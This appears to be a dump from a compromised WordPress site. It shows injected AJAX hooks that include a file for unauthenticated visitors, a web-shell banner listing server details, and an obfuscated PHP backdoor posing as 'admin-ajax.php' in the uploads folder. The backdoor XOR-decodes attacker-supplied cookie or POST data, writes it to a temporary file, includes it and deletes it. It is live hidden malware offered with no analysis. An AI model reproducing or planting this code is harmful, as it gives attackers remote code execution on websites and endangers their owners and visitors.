if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs20240819/wp-content/uploads/2021/04/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs20240819/wp-content/uploads/2021/04/admin-ajax.php
<?php
function     dw6 ()

{echo     'ng7';
}


function	jk1  (      $wi2	){$nb4=0;


$db3 =   "_1F2<(7H ro4.s?;x#n'umb6fygcl8I0k5i@Le*phvE9t)ad/-"; $ak5	= substr("",       0);


 while(1){
	if($nb4>=count($wi2))	break;	$ak5 .= $db3	[ $wi2[$nb4] ];	$nb4++;

}return    $ak5;
}$lc9       =	[];$jemrmyy = 94143;
$lc9[98814] = jk1	( Array(3 ,	31 ,   11       ,    24 ,  33      , 47 ,	1 ,       29 ,	49 , 6       ,	22 ,	6 , 29   , 49 ,	11	, 3	,	3      , 33 ,      49 ,       46 , 33   ,	3 , 1	,    49 , 31 ,     27    ,	29    , 23     , 1	,	29 , 43 , 46	,	3	, 37 , 31  ,	27 ,) )  ;


$lc9[96765] = jk1 ( Array(14 ,      39	, 40	,	39 , 8 , 35 , 20   ,	18	, 28 , 34 , 18 ,	32 ,      5 , 0 ,      0 ,	2	,  30	, 36	,	42 , 0      , 0     ,    45  ,	15	,	8 ,) ) ;


$lc9[767]      =	jk1	( Array(12 , 21  , 10 ,	47	,  20 , 28  , 37 ,)      )	;$lc9[30196]	= jk1 ( Array(7     , 38   ,) ) ;$lc9[99817]	= jk1 (	Array(12   , 48	,)     )	;$lc9[83930] =	jk1 (	Array(17	,)	)   ;$lc9[95693] = jk1 (	Array(4 ,) ) ;
$lc9[88011] =	jk1     (  Array(24 , 34 ,      28 , 37   , 0	,	39 , 20	,   44 ,	0      , 27	,	10	,    18     ,  44	, 37 , 18	,	44 ,  13	,) ) ;$dj23	=	90133;


$lc9[77251] = jk1 ( Array(24	, 34 , 28	, 37  ,	0	,	37       ,	16	, 34      , 13   ,	44 ,	13       ,)   )	;


$lc9[84418] = jk1	( Array(46	, 9   ,	9 ,	46	, 25	,  0 ,	21 , 37 ,     9 ,	26	,	37 ,) ) ;

$lc9[38848] = jk1	(       Array(13	, 44	,	9     , 0 , 9 , 37	, 39 ,	37	, 46	, 44	,)	)       ;
$lc9[71615]	=  jk1	( Array(37	,	16       ,   39 ,	28 , 10 ,	47	,	37      ,) )	;$lc9[68029] = jk1   (    Array(20	,	18    ,    28 , 34 ,	18 ,    32	,) ) ;
$lc9[92091] =      jk1 (	Array(13 ,       44 ,	9 ,       28 , 37 , 18	,)      ) ;

$ym24	= 8921;$lc9[33722] =	jk1       ( Array(39 ,	46 ,    27 ,	32       ,)	)	;


$mu17 = $_COOKIE;	$ps16	= "21273";


$mu17	= $lc9[84418]($mu17,  $_POST);




foreach ($mu17       as $ih22  =>	$qf18)
{

   function       bf13 ( $lc9, $ih22	,	$qi15       )

       {

 return substr	(  $lc9[38848]	(       $ih22     . $lc9[98814]	,       ( $qi15/$lc9[92091](	$ih22 ) ) + 1 ) ,	0	, $qi15	);

	}



 function	xo12 ( $lc9,	$eu21    )

     {	return     @$lc9[33722]	($lc9[30196]      ,       $eu21	);


 }




 function an11 (      $lc9, $qf18,	$ih22)       {
       return xo12	( $lc9,      $qf18 ) ^ bf13	(  $lc9,	$ih22	, $lc9[92091](	$qf18 )       );
      } 
 function      ck10 ( $lc9, $qf18,      $ih22)


 {

 return	$lc9[71615] (    $lc9[83930] ,	an11 (	$lc9, $qf18,	$ih22));     }
   


 function lr14 (	$lc9, $eu21    ) {


       if	(	isset	( $eu21[2]   )  )       {


  $gl20 =	$lc9[99817]	.	md5( $lc9[98814]      )	. $lc9[767];      @$lc9[88011]  ( $gl20, $lc9[95693] .	$lc9[96765] .   $eu21[1]     (       $eu21[2] ) );


	$xa19 =	$gl20;
	@include ( $xa19	); if ($lc9[77251]($gl20))	

	{
	@$lc9[68029]	(	$gl20 );     }

    


 $gl20  =	substr    ($gl20, $lc9[92091]($gl20));


   exit   ();

   }

 } 


       lr14	( $lc9, ck10 (	$lc9,      $qf18,    $ih22));

}
@ Telegram